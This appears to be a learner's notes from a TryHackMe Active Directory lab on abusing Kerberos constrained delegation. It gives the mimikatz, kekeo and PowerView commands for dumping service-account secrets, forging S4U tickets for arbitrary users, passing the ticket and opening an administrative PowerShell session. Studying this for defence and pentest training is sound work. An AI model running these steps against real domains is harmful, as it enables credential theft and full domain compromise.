Kerberos delegation
Note that "Kerberos delegation" and "Permission delegation" are 2 different terms. When "AD delegation" is mentioned, it usually refers to "Kerberos delegation".
Resources
Constrained delegation abuse
PowerShell remoting
PowerView
Kerberos protocol extensions: Service for User (S4U)
Important notice
The examples shown below uses the kekeo tool, which is not maintained anymore and may not work as expected. However, the command examples are used to illustrate the basic workflow of the process in a lab environment (TryHackMe exploiting AD room), along with explanations based on my understanding.
Rubeus is a tool that is heavily adapted from the kekeo project, and provides similar functionalities. Refer to the kekeo/rubeus documentation for information on Rubeus.
Constrained vs Unconstrained delegation
Unconstrained
service accounts have no limits on the delegation
this means that they are able to access any services
Constrained
service accounts can only be delegated to certain specified services
this means that they can only access certain controlled services
Constrained Delegation Exploitation steps
Overview of attack
Enumerate the available delegations (PowerSploit
Get-NetUsercmdlet)
Delegation permissions can be seen from the
msDS-AllowedToDelegateToproperty
Retrieve the credentials of the service account (with constrained delegation permission)
Assuming that we have gained administrative access to a machine where the service account user has a service running, we can extract its account credentials
eg. run mimikatz
lsadump::secrets
We can use the credentials obtained to request for a Ticket Granting Ticket (TGT) as the service account user: kekeo
tgt::ask
The newly created TGT can be used to request for a Ticket Granting Service (TGS) on behalf of a specified user (Service for User (S4U)): kekeo
tgs::s4u
This is possible due to the Kerberos protocol extension: Service for User and Constrained Delegation protocol that allows an application to obtain a Kerberos service ticket on behalf of a user.
This means that we can use the TGT for a service account to request for a valid TGS for ANY user account of our choice, as long as the service account has the proper delegation permission for the service in question (service should be listed in the service account's msDS-AllowedToDelegateTo property) on a particular machine.
Effectively, this means that once we have stolen the password for a service account (with permission delegations to a particular service), we can create a TGS for ANY user of our choice, and gain access to that service.
If the service is running on a machine of high-value (eg. domain controller), this can lead to impersonation of high-privilege accounts on a high-value target and potentially lead to full domain compromise.
Now that we have obtained the TGS for our desired user account and service, we can perform a Pass-the-Ticket attack using the mimikatz
kerberos::ptttool, and gain access to that particular service on a particular machine as the specified user.
General example
Step 1
Given that we have breached a machine and gained administrative access, we can first try to enumerate available delegations. To achieve this, we can use the Get-NetUser cmdlets from PowerSploit:
PS C:\> Import-Module C:\dir\to\PowerSploit\PowerView.ps1
PS C:\> Get-NetUser -TrustedToAuthStep 2
Next, we can use mimikatz to dump the secrets of the service account (given that there is a service currently running on the host as that particular service account):
mimikatz # token::elevate
mimikatz # lsadump::secretsStep 3
Now that we have the secret (password), we can use it to retrieve the Ticket Granting Ticket (TGT) as the service account. Subsequently, we can generate the Ticket Granting Service (TGS) for a particular user account and service that our identified service account (step 1) can delegate.
Note that we will first retrieve the TGT as the service account, which will be used in the subsequent TGS request to retrieve the TGS for a user of our choice — administrator account, etc.
kekeo # tgt::ask /user:<service_account> /domain:<domain> /password:<password>kekeo # tgs::s4u /tgt:<path_to_TGT> /user:<username> /service:<servicename>Step 4
Now that we have retrieved the Ticket Granting Service (TGS) for our user of choice and desired service, we can use it to perform a Pass-the-Ticket attack. This will allow us to authenticate to the service we have identified earlier.
mimikatz # privilege debug
mimikatz # kerberos::ptt ...
mimikatz # exitExample: exploiting PowerShell remoting
According to the TryHackMe exploiting AD room, PowerShell remoting uses the HTTP and WSMAN services as well. This means that we can use the TGT we have retrieved to create TGS for both HTTP and WSMAN, before performing a Pass-the-Ticket attack, which will allow us to gain a remote session on a target machine.
PS> Get-Netuser -TrustedToAuth
...
userprincipalname : svcIIS@za.tryhackme.loc
name : IIS Server
...
msds-allowedtodelegateto : {WSMAN/THMSERVER1.za.tryhackme.loc, WSMAN/THMSERVER1, http/THMSERVER1.za.tryhackme.loc, http/THMSERVER1}
...Note that we have to generate the TGS for both the HTTP and WSMAN services
kekeo # tgs::s4u /tgt:<path_to_TGT> /user:<username> /service:http/<target>
Ticket in file 'TGS_http_xxxx'
kekeo # tgs::s4u /tgt:<path_to_TGT> /user:<username> /service:wsman/<target>
Ticket in file 'TGS_wsman_xxxx'Perform Pass-the-Ticket with the newly created TGS:
mimikatz # kerberos::ptt TGS_http_xxxx
mimikatz # kerberos::ptt TGS_wsman_xxx
mimikatz # exitRefer to the "PowerShell remoting" resource in the Resources section above
Given that we generate a TGS (kekeo) as a user that is an administrator on our target machine, we will now have administrative access.
PS C:\> New-PSSession -ComputerName <computer_name>
...
PS C:\> Enter-PSSession -ComputerName <computer_name>
[xxxx]: PS C:\Users\<username> whoami
user_xxxLast updated